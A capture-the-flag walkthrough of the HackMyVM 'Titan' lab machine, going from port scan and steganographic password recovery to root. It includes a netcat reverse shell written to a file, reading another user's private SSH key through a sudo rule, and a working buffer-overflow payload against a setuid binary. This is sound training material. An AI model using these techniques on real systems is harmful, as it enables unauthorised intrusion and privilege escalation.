HackMyVm Titan Walkthrough
https://hackmyvm.eu/machines/machine.php?vm=Titan
Scan ports first.
nmap -sV -sC -p- -oN ports.log 192.168.56.100
Nmap scan report for chronos.local (192.168.56.100)
Host is up (0.00098s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 37:fa:d2:9f:20:25:cf:c5:96:7a:dc:f3:ff:2c:7a:22 (RSA)
| 256 11:ad:fa:95:71:c5:f9:d4:97:da:42:03:2b:0f:55:bb (ECDSA)
|_ 256 fa:fb:04:13:93:90:a5:01:53:ba:6c:e9:bf:dc:bf:7e (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Scan port 80. found /robots.txt, then download athena.txt.
~ curl http://192.168.56.100/robots.txt
gobuster-0 | 0 [14:29:34]
/athena.txt
~ wget http://192.168.56.100/athena.txt
Use vim to open athena.txt, found some strange spaces and tabs.
image-20210829143154657.png
Through google "space tab steg", we know it's some crypto strings. And we can decrypt it with stegsnow. Then we get username and password of prometheus.
~ sudo apt install stegsnow
stegsnow is already the newest version (20130616-6).
~ stegsnow -C athena.txt
prometheus/iloveallhumans⏎
Log in ssh as prometheus, found a file named sacrifice in home folder.
prometheus@titan:~$ ls -la
total 52
drwxr-xr-x 2 prometheus prometheus 4096 Aug 18 06:03 .
drwxr-xr-x 5 root root 4096 Aug 9 14:23 ..
-rw------- 1 prometheus prometheus 2718 Aug 18 05:01 .bash_history
-rw-r--r-- 1 prometheus prometheus 220 Aug 9 14:23 .bash_logout
-rw-r--r-- 1 prometheus prometheus 3526 Aug 9 14:23 .bashrc
-rw-r--r-- 1 prometheus prometheus 807 Aug 9 14:23 .profile
-rwsr-sr-x 1 root prometheus 16896 Aug 9 14:29 sacrifice
-rw------- 1 prometheus prometheus 102 Aug 18 05:51 .Xauthority
Disassemble sacrifice, we can know, if we input "beef", we can escalate to user with uid 1000 (0x03E8).
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[72]; // [rsp+10h] [rbp-50h] BYREF
int v6; // [rsp+5Ch] [rbp-4h]
v6 = 1000;
printf("What is your offer to the gods?");
gets(s1);
if ( strcmp(s1, "beef") )
{
printf("Thanks, mortal.");
}
else
{
setuid(0x3E8u);
setgid(0x3E8u);
printf("Take this gift.");
system("/bin/bash");
}
return 0;
}
Now we can escalate to user zeus.
prometheus@titan:~$ ./sacrifice
What is your offer to the gods?beef
zeus@titan:~$ id
uid=1000(zeus) gid=1001(prometheus) groups=1001(prometheus)
Check sudo -l.
zeus@titan:~$ sudo -l
Matching Defaults entries for zeus on titan:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User zeus may run the following commands on titan:
(hesiod) NOPASSWD: /usr/bin/ptx
Check help manual of ptx, then we can use ptx to read /home/hesiod/.ssh/id_rsa.
```bash
zeus@titan:/home/zeus$ sudo -u hesiod ptx /home/hesiod/.ssh/id_rsa -A -G
.xx "PRIVATE/" "" "-----BEGIN OPENSSH" "" "/home/hesiod/.ssh/id_rsa:1"
.xx "PRIVATE/" "" "-----END OPENSSH" "" "/home/hesiod/.ssh/id_rsa:27"
.xx "" "" "/JT+LbNag1ZqqNu02YET846I1xppdx/gYK5/hW19Shrw0F+V+G2U0AaVxfgFb+B2Sz+QER" "" "/home/hesiod/.ssh/id_rsa:16"
...
.xx "" "" "xUBZ868cu5Flrby84V8UpiXE+tPyq5bZUw24nlJTURFzqy0LkAcAtKQVihXaaoAlOJvz7z" "" "/home/hesiod/.ssh/id_rsa:22"
.xx "" "" "xqQSsiROLKN/zVEXAAAADGhlc2lvZEB0aXRhbgECAwQFBg==" "" "/home/hesiod/.ssh/id_rsa:26"
Paste line by line in order into a new key file, chmod 600, then we can login as hesiod with private key.
```bash
~ ssh hesiod@192.168.56.100 -i id_rsa ...
Last login: Wed Aug 18 05:51:27 2021 from 192.168.56.150
hesiod@titan:~$ id
uid=1002(hesiod) gid=1002(hesiod) groups=1002(hesiod)
hesiod@titan:~$</code></pre>
<p>In /home/hesiod, we found a file named fire. It's writable.</p>
<pre><code class="language-bash">hesiod@titan:~$ ls -la
total 56
drwxr-xr-x 4 hesiod hesiod 4096 Aug 18 02:11 .
drwxr-xr-x 5 root root 4096 Aug 9 14:23 ..
-rw------- 1 hesiod hesiod 1265 Aug 18 01:51 .bash_history
-rw-r--r-- 1 hesiod hesiod 220 Aug 9 14:23 .bash_logout
-rw-r--r-- 1 hesiod hesiod 3526 Aug 9 14:23 .bashrc
-rwxr-x--- 1 hesiod hesiod 16608 Aug 9 14:27 fire
drwxr-xr-x 3 hesiod hesiod 4096 Aug 9 14:25 .local
-rw-r--r-- 1 hesiod hesiod 807 Aug 9 14:23 .profile
drwx------ 2 hesiod hesiod 4096 Aug 9 14:31 .ssh
-rw------- 1 hesiod hesiod 102 Aug 18 02:11 .Xauthority</code></pre>
<p>Now here is the key point to root.</p>
<p>Go back to sacrifice, in disassembler, just scroll up a little, we can found a secret function named "thief".</p>
<p>```bash
.text:0000000000001185 public thief
.text:0000000000001185 thief proc near
.text:0000000000001185 ; <strong>unwind {
.text:0000000000001185 push rbp
.text:0000000000001186 mov rbp, rsp
.text:0000000000001189 mov edi, 0 ; uid
.text:000000000000118E call _setuid
.text:0000000000001193 mov edi, 0 ; gid
.text:0000000000001198 call _setgid
.text:000000000000119D lea rdi, command ; "/home/hesiod/fire"
.text:00000000000011A4 call _system
.text:00000000000011A9 nop
.text:00000000000011AA pop rbp
.text:00000000000011AB retn
.text:00000000000011AB ; } // starts at 1185
.text:00000000000011AB thief endp
.text:00000000000011AB
.text:00000000000011AC
.text:00000000000011AC ; =============== S U B R O U T I N E =======================================
.text:00000000000011AC
.text:00000000000011AC ; Attributes: bp-based frame
.text:00000000000011AC
.text:00000000000011AC ; int __cdecl main(int argc, const char <strong>argv, const char </strong>envp)
.text:00000000000011AC public main
.text:00000000000011AC main proc near ; DATA XREF: _start+1D↑o
.text:00000000000011AC
.text:00000000000011AC var_60 = qword ptr -60h
.text:00000000000011AC var_54 = dword ptr -54h
.text:00000000000011AC s1 = byte ptr -50h
.text:00000000000011AC var_8 = dword ptr -8
.text:00000000000011AC var_4 = dword ptr -4
.text:00000000000011AC
.text:00000000000011AC ; </strong>unwind {
.text:00000000000011AC push rbp
.text:00000000000011AD mov rbp, rsp
.text:00000000000011B0 sub rsp, 60h
.text:00000000000011B4 mov [rbp+var_54], edi
.text:00000000000011B7 mov [rbp+var_60], rsi</p>
<pre><code>
Through reading the source code, we get the final method:
We need to overflow sacrifice, then run secret function "thief", "thief" then calls /home/hesiod/fire, and write shellcode in fire to get root.
To successfully pwn sacrifice, first step is to calcute the offset of overflow point. Download sacrificeto local machine, and use gdb-peda to load it.
Create pattern string with length 200.
```bash
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
Input 'r' to let program run, when ask for input answer, paste the above pattern string.
gdb-peda$ r
Starting program: /home/kali/Documents/titan/sacrifice
What is your offer to the gods?AAA%AAsA...
Then we will get Segmentation fault, because return address is illegal.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
...
RSP: 0x7fffffffe4e8 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x55555555524a (<main+158>: ret)
...
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555523f <main+147>: call 0x555555555040 <printf@plt>
0x555555555244 <main+152>: mov eax,0x0
0x555555555249 <main+157>: leave
=> 0x55555555524a <main+158>: ret
0x55555555524b: nop DWORD PTR [rax+rax*1+0x0]
0x555555555250 <__libc_csu_init>: push r15
0x555555555252 <__libc_csu_init+2>: mov r15,rdx
0x555555555255 <__libc_csu_init+5>: push r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4e8 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffe4f0 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
...
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000055555555524a in main ()
Use "patter search" to get the offset is 88 for [RSP]. And [RSP] points to the original return address, which we want to overflow with our own return address.
gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 80
Registers point to pattern buffer:
[RSP] --> offset 88 - size ~112
[R8] --> offset 0 - size ~212
...
The method is, we need to fill 87 chars, then following the address of secret function "thief", which is 0x555555555185. (Maybe not the same on your machine).
```bash
gdb-peda$ disassemble 0x555555555185
Dump of assembler code for function thief:
0x0000555555555185 <+0>: push rbp
0x0000555555555186 <+1>: mov rbp,rsp
0x0000555555555189 <+4>: mov edi,0x0
0x000055555555518e <+9>: call 0x555555555080 <setuid@plt>
0x0000555555555193 <+14>: mov edi,0x0
0x0000555555555198 <+19>: call 0x555555555070 <setgid@plt>
0x000055555555519d <+24>: lea rdi,[rip+0xe64] # 0x555555556008
0x00005555555551a4 <+31>: call 0x555555555030 <system@plt>
0x00005555555551a9 <+36>: nop
0x00005555555551aa <+37>: pop rbp
0x00005555555551ab <+38>: ret
End of assembler dump.
Because intel machine is little-Endian, so the 64bit address of 0x555555555185 should be <code>"\x85\x51\x55\x55\x55\x55\x00\x00"
in python string format.
We write reverse shell code in /home/hesiod/fire as user hesiod, remember to add +x in order to let prometheus has execute permission.
```bash
hesiod@titan:~$ echo 'nc 192.168.56.150 1234 -e /bin/bash' > fire
hesiod@titan:~$ chmod +x fire
hesiod@titan:~$ ls -la fire
-rwxr-x--x 1 hesiod hesiod 36 Aug 18 06:05 fire
Then back to user prometheus, use python to generate the evil string and pwn sacrifice.
prometheus@titan:~$ python3 -c 'print("a"*87+"\x85\x51\x55\x55\x55\x55\x00\x00")' |./sacrifice
────────────────────────────────────────────────────────────────────────────────────────────────
~ nc -nlvp 1234
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.56.100.
Ncat: Connection from 192.168.56.100:47256.
id
uid=0(root) gid=0(root) groups=0(root),1001(prometheus)
cd /root
id;hostname
uid=0(root) gid=0(root) groups=0(root),1001(prometheus)
titan